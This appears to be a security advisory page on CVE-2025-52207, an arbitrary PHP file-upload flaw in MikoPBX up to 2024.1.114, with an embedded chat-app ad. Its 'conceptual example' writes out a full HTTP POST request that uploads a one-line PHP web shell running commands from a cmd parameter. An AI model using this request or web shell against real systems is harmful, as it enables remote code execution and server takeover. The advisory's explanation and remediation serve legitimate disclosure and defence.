Overview
The CVE-2025-52207 vulnerability is a severe security flaw that affects MikoPBX up to version 2024.1.114. This vulnerability exists in the PBXCoreREST/Controllers/Files/PostController.php file, and it allows attackers to upload a PHP script to an arbitrary directory. As a result, malicious actors could potentially compromise the entire system or cause a data breach. Given the widespread use of MikoPBX in VoIP services, this vulnerability poses a significant risk to businesses and individuals alike.
Vulnerability Summary
CVE ID: CVE-2025-52207
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
MikoPBX | Up to 2024.1.114
How the Exploit Works
The CVE-2025-52207 exploit takes advantage of a lack of proper validation in the PostController.php file. By sending a specially crafted HTTP POST request with a malicious PHP script, an attacker can upload this script to an arbitrary directory within the MikoPBX system. Once uploaded, the PHP script can be executed by simply accessing its URL, leading to remote code execution and potentially full system compromise.
Conceptual Example Code
A conceptual example of how the vulnerability might be exploited is illustrated below:
POST /PBXCoreREST/Controllers/Files/PostController.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gWIn this example, the attacker uploads a PHP script that runs any command passed to it through the cmd parameter, effectively granting the attacker the ability to execute arbitrary commands on the server.
Remediation
It is highly recommended that users update their MikoPBX systems to the latest version as soon as possible. If that is not immediately feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. These systems can potentially detect and block attempts to exploit this vulnerability.